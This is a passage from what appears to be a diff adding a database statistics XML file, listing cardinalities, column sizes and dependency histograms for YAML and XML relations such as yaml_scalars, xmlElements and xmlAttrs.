+<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>318</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>yaml_anchors</name> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>node</k> +<v>1</v> +</e> +<e> +<k>anchor</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>node</src> +<trg>anchor</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>anchor</src> +<trg>node</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>yaml_aliases</name> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>alias</k> +<v>1</v> +</e> +<e> +<k>target</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>alias</src> +<trg>target</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>target</src> +<trg>alias</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>yaml_scalars</name> +<cardinality>700</cardinality> +<columnsizes> +<e> +<k>scalar</k> +<v>700</v> +</e> +<e> +<k>style</k> +<v>3</v> +</e> +<e> +<k>value</k> +<v>241</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>scalar</src> +<trg>style</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>700</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>scalar</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>700</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>style</src> +<trg>scalar</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>14</a> +<b>15</b> +<v>1</v> +</b> +<b> +<a>97</a> +<b>98</b> +<v>1</v> +</b> +<b> +<a>589</a> +<b>590</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>style</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>12</a> +<b>13</b> +<v>1</v> +</b> +<b> +<a>47</a> +<b>48</b> +<v>1</v> +</b> +<b> +<a>183</a> +<b>184</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>scalar</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>158</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>32</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>19</v> +</b> +<b> +<a>6</a> +<b>15</b> +<v>20</v> +</b> +<b> +<a>15</a> +<b>18</b> +<v>12</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>style</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>240</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>yaml_errors</name> +<key>id</key> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1</v> +</e> +<e> +<k>message</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>yaml_locations</name> +<cardinality>71</cardinality> +<columnsizes> +<e> +<k>locatable</k> +<v>71</v> +</e> +<e> +<k>location</k> +<v>71</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>locatable</src> +<trg>location</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>71</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>location</src> +<trg>locatable</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>71</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmlEncoding</name> +<cardinality>39724</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>39724</v> +</e> +<e> +<k>encoding</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>encoding</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>39724</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>encoding</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>39724</a> +<b>39725</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmlDTDs</name> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1</v> +</e> +<e> +<k>root</k> +<v>1</v> +</e> +<e> +<k>publicId</k> +<v>1</v> +</e> +<e> +<k>systemId</k> +<v>1</v> +</e> +<e> +<k>fileid</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>root</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>publicId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>systemId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>root</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>root</src> +<trg>publicId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>root</src> +<trg>systemId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>root</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>publicId</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>publicId</src> +<trg>root</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>publicId</src> +<trg>systemId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>publicId</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>systemId</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>systemId</src> +<trg>root</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>systemId</src> +<trg>publicId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>systemId</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>root</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>publicId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>systemId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmlElements</name> +<cardinality>1270313</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1270313</v> +</e> +<e> +<k>name</k> +<v>4655</v> +</e> +<e> +<k>parentid</k> +<v>578021</v> +</e> +<e> +<k>idx</k> +<v>35122</v> +</e> +<e> +<k>fileid</k> +<v>39721</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1270313</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1270313</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1270313</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1270313</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>420</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>156</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>3832</v> +</b> +<b> +<a>6</a> +<b>310317</b> +<v>247</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>456</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>150</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>3829</v> +</b> +<b> +<a>6</a> +<b>161565</b> +<v>220</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4358</v> +</b> +<b> +<a>2</a> +<b>35123</b> +<v>297</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>486</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>133</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>3831</v> +</b> +<b> +<a>6</a> +<b>14503</b> +<v>205</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>371969</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>62095</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>104113</v> +</b> +<b> +<a>4</a> +<b>35123</b> +<v>39844</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>500482</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>17866</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>49117</v> +</b> +<b> +<a>4</a> +<b>45</b> +<v>10556</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>371969</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>62095</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>104113</v> +</b> +<b> +<a>4</a> +<b>35123</b> +<v>39844</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>578021</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>606</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>17851</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>6533</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>859</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>4471</v> +</b> +<b> +<a>9</a> +<b>16</b> +<v>2719</v> +</b> +<b> +<a>16</a> +<b>578022</b> +<v>2083</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>18457</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>6533</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>6178</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>2624</v> +</b> +<b> +<a>8</a> +<b>4397</b> +<v>1330</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>606</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>17851</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>6533</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>859</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>4471</v> +</b> +<b> +<a>9</a> +<b>16</b> +<v>2719</v> +</b> +<b> +<a>16</a> +<b>578022</b> +<v>2083</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>606</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>17851</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>6533</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>859</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>4471</v> +</b> +<b> +<a>9</a> +<b>16</b> +<v>2719</v> +</b> +<b> +<a>16</a> +<b>39722</b> +<v>2083</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>20457</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3115</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>3026</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>3588</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>2220</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>3099</v> +</b> +<b> +<a>11</a> +<b>19</b> +<v>3087</v> +</b> +<b> +<a>19</a> +<b>114506</b> +<v>1129</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>20459</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3458</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>2569</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>2172</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>6158</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>3501</v> +</b> +<b> +<a>9</a> +<b>46</b> +<v>1404</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>20457</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3870</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>2152</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>2876</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>2720</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>4132</v> +</b> +<b> +<a>8</a> +<b>14</b> +<v>3096</v> +</b> +<b> +<a>14</a> +<b>31079</b> +<v>418</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>25894</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5301</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3787</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>3268</v> +</b> +<b> +<a>6</a> +<b>35123</b> +<v>1471</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmlAttrs</name> +<cardinality>1202020</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1202020</v> +</e> +<e> +<k>elementid</k> +<v>760198</v> +</e> +<e> +<k>name</k> +<v>3649</v> +</e> +<e> +<k>value</k> +<v>121803</v> +</e> +<e> +<k>idx</k> +<v>2000</v> +</e> +<e> +<k>fileid</k> +<v>39448</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>elementid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1202020</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1202020</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1202020</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1202020</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1202020</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>elementid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>425697</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>249659</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>66474</v> +</b> +<b> +<a>4</a> +<b>2001</b> +<v>18368</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>elementid</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>425778</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>249579</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>66475</v> +</b> +<b> +<a>4</a> +<b>2001</b> +<v>18366</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>elementid</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>466237</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>266291</v> +</b> +<b> +<a>3</a> +<b>46</b> +<v>27670</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>elementid</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>425697</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>249659</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>66474</v> +</b> +<b> +<a>4</a> +<b>2001</b> +<v>18368</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>elementid</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>760198</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3467</v> +</b> +<b> +<a>2</a> +<b>262475</b> +<v>182</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>elementid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3467</v> +</b> +<b> +<a>2</a> +<b>262475</b> +<v>182</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3501</v> +</b> +<b> +<a>2</a> +<b>54146</b> +<v>148</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3531</v> +</b> +<b> +<a>2</a> +<b>11</b> +<v>118</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3491</v> +</b> +<b> +<a>2</a> +<b>21768</b> +<v>158</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>72032</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>42366</v> +</b> +<b> +<a>3</a> +<b>199269</b> +<v>7405</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>elementid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>72036</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>42374</v> +</b> +<b> +<a>3</a> +<b>199269</b> +<v>7393</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>116722</v> +</b> +<b> +<a>2</a> +<b>2041</b> +<v>5081</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>117957</v> +</b> +<b> +<a>2</a> +<b>2001</b> +<v>3846</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>86306</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>28570</v> +</b> +<b> +<a>3</a> +<b>4175</b> +<v>6927</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1955</v> +</b> +<b> +<a>2</a> +<b>760199</b> +<v>45</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>elementid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1955</v> +</b> +<b> +<a>2</a> +<b>760199</b> +<v>45</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1955</v> +</b> +<b> +<a>2</a> +<b>189</b> +<v>45</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1955</v> +</b> +<b> +<a>2</a> +<b>116643</b> +<v>45</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1955</v> +</b> +<b> +<a>2</a> +<b>39449</b> +<v>45</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22884</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>2565</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>2294</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>3299</v> +</b> +<b> +<a>7</a> +<b>9</b> +<v>3272</v> +</b> +<b> +<a>9</a> +<b>16</b> +<v>3143</v> +</b> +<b> +<a>16</a> +<b>129952</b> +<v>1991</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>elementid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>23890</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>2131</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1971</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>4096</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>3519</v> +</b> +<b> +<a>8</a> +<b>16</b> +<v>3137</v> +</b> +<b> +<a>16</a> +<b>106600</b> +<v>704</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22946</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2338</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2726</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2824</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>2994</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>3876</v> +</b> +<b> +<a>7</a> +<b>2002</b> +<v>1744</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22916</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>2772</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2112</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>3510</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>1993</v> +</b> +<b> +<a>8</a> +<b>11</b> +<v>3365</v> +</b> +<b> +<a>11</a> +<b>50357</b> +<v>2780</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26133</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>9699</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>3511</v> +</b> +<b> +<a>5</a> +<b>2001</b> +<v>105</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmlNs</name> +<cardinality>71201</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>4185</v> +</e> +<e> +<k>prefixName</k> +<v>958</v> +</e> +<e> +<k>URI</k> +<v>4185</v> +</e> +<e> +<k>fileid</k> +<v>39544</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>prefixName</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2602</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1553</v> +</b> +<b> +<a>3</a> +<b>872</b> +<v>30</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>URI</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4185</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>6</b> +<v>274</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>3825</v> +</b> +<b> +<a>7</a> +<b>24905</b> +<v>86</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>prefixName</src> +<trg>id</trg> +<val> +<hist> 